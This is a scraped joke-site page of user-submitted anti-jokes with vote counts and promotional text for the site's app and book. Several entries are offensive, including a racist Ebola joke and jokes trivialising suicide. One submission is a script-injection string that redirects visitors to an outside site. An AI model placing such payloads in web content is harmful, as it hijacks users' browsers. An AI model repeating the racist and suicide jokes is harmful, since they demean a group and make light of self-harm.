Whats worse than tripping? Getting shot

thumb_up thumb_down +1

What did the African get for dinner? Ebola Rice

thumb_up thumb_down +1

-How do you wake up Lady Gaga? -Poke her face

thumb_up thumb_down +1

How do you fit a giraffe into a refrigerator? You cut it into pieces.

thumb_up thumb_down +1

Why did the man wear a mask He had low self-esteem, and was ashamed of his facial appearance

thumb_up thumb_down +1

what does a buttler put in a closet ? stuff.

thumb_up thumb_down +1

Why couldn't the melons get married? As gay cantaloupes, their jurisdiction didn't allow for same-sex marriage.

thumb_up thumb_down +1

1.....2.....3.....boom you died

thumb_up thumb_down +1

Immaculate Misconception - Motionless In White \m/

thumb_up thumb_down +1

A duck walks up to a lemonade stand. He didn't say anything because ducks can't talk.

thumb_up thumb_down +1

Why was little Timmy mauled by a bear? He poked it with a pointy stick.

thumb_up thumb_down +1

four blondes where on their way to disneyworld they see a sign that say disneyworld:left so they turn around wondering where disneyworld went

thumb_up thumb_down +1

Duncan walks into a bar and is greeted by his friends Eric and Tom. Duncan tells them that his wife left and took the kids. Duncan then goes home and hangs himself.

thumb_up thumb_down +1

Why did the young girl fall off of the swing set? Because a man came up behind her and pushed her. He then picked her up, brought her home and fed her a nice three course meal and put her to bed. When she woke up she snuck out of the house and alerted the police.

thumb_up thumb_down +1

Yo momma so fat, she's dead.

thumb_up thumb_down +1

What's grey and can't fly? A parking lot.

thumb_up thumb_down +1

What did the soldier get for his birthday? Shot in the face.

thumb_up thumb_down +1

What did the aborted fetus say to the recycling bin? Nothing because it isn't capable of speaking, and it was in the dumpster

thumb_up thumb_down +1

was gonna write a really funny "anti-joke" about two dogs and some spagetti but decided instead to tell you about how hard my life is and how much i hate getting up in the morning and just keep you wondering about the spaggetti and the dogs while i kill myself and it all a sudden makes sense as the two dogs are eating my shattered brain that looks like spaggetti wich leaves me wondering , am i spelling spaggetti right?

thumb_up thumb_down +1

Doctor, doctor, I just swallowed a roll of film! That was an incredibly foolish and dangerous thing for you to do. I would be surprised if you survived another day before the chemicals corrode your stomach lining and release hydrofluoric acid throughout your body causing sepsis.

thumb_up thumb_down +1

"'>document.location.href="http://cramik.org"

thumb_up thumb_down +1

What did the purple dragon say to the unicorn? He doesn't say anything to the unicorn because dragons and unicorns don't exist. Even if they did exist, dragons and unicorns can't talk, unless we're talking about cartoons. Also, even if it was a cartoon or whatever, do you really think a purple dragon has ANYTHING to say to a unicorn?! Of course not! Oh look at me I'm a cool talking dragon, I have something so important to say to this unicorn. Gimme a break...

thumb_up thumb_down +1

What is a good remedy for the common cold? A piping hot bowl of chicken-noodle soup.

thumb_up thumb_down +1

Why was the boy sad? Because his mother and father had just disowned him.

thumb_up thumb_down +1

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops